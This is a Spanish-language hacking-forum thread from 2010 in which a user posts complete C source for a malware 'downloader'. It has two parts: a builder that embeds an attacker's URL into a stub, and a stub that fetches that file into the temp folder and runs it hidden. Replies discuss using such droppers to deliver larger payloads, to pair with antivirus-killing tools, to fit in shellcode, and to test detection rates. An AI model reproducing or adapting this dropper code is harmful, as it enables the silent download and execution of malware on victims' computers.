elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
21 Mayo 2012, 13:39  


Tema destacado: Últimos eventos sobre seguridad/inseguridad

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  C Downloader
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: C Downloader  (Leído 1,849 veces)
shark0

Desconectado Desconectado

Mensajes: 195



Ver Perfil WWW
C Downloader
« en: 9 Marzo 2010, 22:45 »

Bueno después de tanto luchar con el builder... lo he terminado, antes que nada decir la grandisima ayuda que me ha aportado Hacker_Zero y tercer_ojo soportando mis lloriqueos.. gracias por vuestra paciencia! también a los que colaboraron para corregir un último error en el stub, darles las gracias.



Source code :

Builder :

Código
#include <stdio.h>
#include <windows.h>
 
LPSTR url=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
LPSTR ruta=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
LPSTR xruta=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
 
DWORD bytesleidos;
 
void main()
{
  GetModuleFileName(NULL,ruta,MAX_PATH);
  for(int i=lstrlenA(ruta);ruta[i]!='\\';i--)
  ruta[i]=0;
 
  strcpy(xruta, ruta);
  lstrcat(ruta,"\Stub.dll");
  lstrcat(xruta,"\Server.exe");
 
  printf("    _______   *-----------------------------------------------*\n");
  printf("   |  _____|  |               << C Downloader >>              |\n");
  printf("   | |        |                                               |\n");
  printf("   | |        |   - Autor : shark0                            |\n");
  printf("   | |        |   - Agradecimientos : Hacker_Zero  &  T3O     |\n");
  printf("   | |_____   |   - Compilador : Visual C++                   |\n");
  printf("   |_______|  |                                               |\n");
  printf("              *-----------------------------------------------*\n\n\n");
 
  printf("\nIntroduzca la direccion URL : ");
  scanf("%s", url);
 
  if(url!=NULL)
  {
  printf("%s", "\n-> Leyendo contenido del archivo Stub.dll...");
 
          HANDLE hruta=CreateFile(ruta,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,NULL,NULL);
  DWORD ssize=GetFileSize(hruta,NULL);
 
  LPSTR stub=(LPSTR)GlobalAlloc(GPTR,ssize);
  ReadFile(hruta,stub,ssize,&bytesleidos,0);
  CloseHandle(hruta);
 
  LPSTR data=(LPSTR)GlobalAlloc(GPTR,ssize+strlen("|")+strlen(url));
  memcpy(data,stub,ssize);
      memcpy(data+ssize,"|",1);
      memcpy(data+ssize+1,url,strlen(url));
 
  if(stub!=NULL)
  {
  HANDLE xhruta=CreateFile(xruta,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,NULL,NULL);
  WriteFile(xhruta,data,ssize+strlen("|")+strlen(url),&bytesleidos,0);
  CloseHandle(xhruta);
 
  printf("%s","\n-> El servidor se ha construido correctamente!\n");
      }
  }
 
  getchar();
}
 

Stub :

Código
#include <urlmon.h>
#include <windows.h>
 
#pragma optimize("gsy", on)
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/ENTRY:main")
 
void main()
{
   LPSTR url=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
   LPSTR path=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
   LPSTR tpath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
LPSTR ext=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
 
DWORD bytesleidos;
 
GetModuleFileName(NULL,path,MAX_PATH);
HANDLE xpath=CreateFile(path,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,NULL,NULL);
DWORD spath=GetFileSize(xpath,NULL);
 
LPSTR buff=(LPSTR)GlobalAlloc(GPTR,spath);
ReadFile(xpath,buff,spath,&bytesleidos,0);
CloseHandle(xpath);
 
for(DWORD i=spath;buff[i]!='|';i--)
url=&buff[i];
 
for(int x=lstrlenA(url);url[x]!='.';x--)
ext=&url[x];
 
GetTempPath(MAX_PATH,tpath);
strcat(tpath,"\TempFile.");
strcat(tpath,ext);
 
URLDownloadToFileA(NULL,url,tpath,NULL,NULL);
ShellExecute(NULL,NULL,tpath,NULL,NULL,0);
 
ExitProcess(0);
}
 

Saludos! ;D


En línea

skapunky
Electronik Engineer &
CoAdmin
***
Desconectado Desconectado

Mensajes: 3.422



Ver Perfil WWW
Re: C Downloader
« Respuesta #1 en: 9 Marzo 2010, 23:54 »

Ya que has puesto el codigo, quería comentar un detalle que nunca he entendido de los downloaders.

Entiendo que una vez lo editas, lo envias a una persona y esa persona lo ejecuta, luego al ejecutarlo se descarga X archivo de internet y se ejecuta.

Digo yo...no es mas facil enviar el archívo directamente? en vez de enviar el downloader para que este descarge el archivo? Esque últimamente están de moda y todavía no les veo la gracia.
En línea

Novlucker
Ninja y
Ex-Staff
*
Desconectado Desconectado

Mensajes: 10.239


Yo que tu lo pienso dos veces


Ver Perfil
Re: C Downloader
« Respuesta #2 en: 10 Marzo 2010, 00:02 »

La utilidad que les encuentro es ...
  • Puedes enviar un archivo pequeño, y bajar uno mucho más grande
  • Puedes tener un downloader con AV killer, para que haga el trabajo que un bicho siendo detectado no podría hacer (en el caso de un downloader indetectable y un malware detectado)
:P
En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
http://twitter.com/novlucker

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

shark0

Desconectado Desconectado

Mensajes: 195



Ver Perfil WWW
Re: C Downloader
« Respuesta #3 en: 10 Marzo 2010, 00:13 »

La utilidad que les encuentro es ...
  • Puedes enviar un archivo pequeño, y bajar uno mucho más grande
  • Puedes tener un downloader con AV killer, para que haga el trabajo que un bicho siendo detectado no podría hacer (en el caso de un downloader indetectable y un malware detectado)
:P


Claro, aunque este primer downloader en C es simplón ya haré mejores  :P
En línea

Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: C Downloader
« Respuesta #4 en: 10 Marzo 2010, 00:51 »

Ya que has puesto el codigo, quería comentar un detalle que nunca he entendido de los downloaders.

Entiendo que una vez lo editas, lo envias a una persona y esa persona lo ejecuta, luego al ejecutarlo se descarga X archivo de internet y se ejecuta.

Digo yo...no es mas facil enviar el archívo directamente? en vez de enviar el downloader para que este descarge el archivo? Esque últimamente están de moda y todavía no les veo la gracia.

  La esencia de los dowloader es que han de ser muy pequeños para que quepan en una shellcode  >:D

  Esta muy bueno el code paro deberias subirlo a novirusthanks a ver me parece que URLDownloadToFileA esta mas que detectados por los AV ....

  Saludos ....
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
shark0

Desconectado Desconectado

Mensajes: 195



Ver Perfil WWW
Re: C Downloader
« Respuesta #5 en: 10 Marzo 2010, 01:16 »


  La esencia de los dowloader es que han de ser muy pequeños para que quepan en una shellcode  >:D

  Esta muy bueno el code paro deberias subirlo a novirusthanks a ver me parece que URLDownloadToFileA esta mas que detectados por los AV ....

  Saludos ....

Si lo se.. pero lo hice especialmente para practica y enseñanza propia.. sino hubiese publicado los compilados  :P
En línea

[L]ord [R]NA


Desconectado Desconectado

Mensajes: 1.507


El Dictador y Verdugo de H-Sec


Ver Perfil WWW
Re: C Downloader
« Respuesta #6 en: 10 Marzo 2010, 21:27 »

Se parece al que puse en el tuto que postee hace un tiempito por lo tanto creo que debe de tener una taza de 19/42 en V.T. o mas... en lo que se refiere a la idea de trabajo esta bien hecho el codigo, se ve que hay interes en hacer cosas mejores y esta abierto a criticas.

En línea

dArKo2

Desconectado Desconectado

Mensajes: 59



Ver Perfil
Re: C Downloader
« Respuesta #7 en: 13 Marzo 2010, 02:50 »

Felicidades buen trabajo :D
En línea

"We seek only reprieve and welcome the darkness"
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[C++] Downloader
Programación C/C++
kiriost 10 1,620 Último mensaje 2 Noviembre 2011, 20:59
por Belial & Grimoire
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines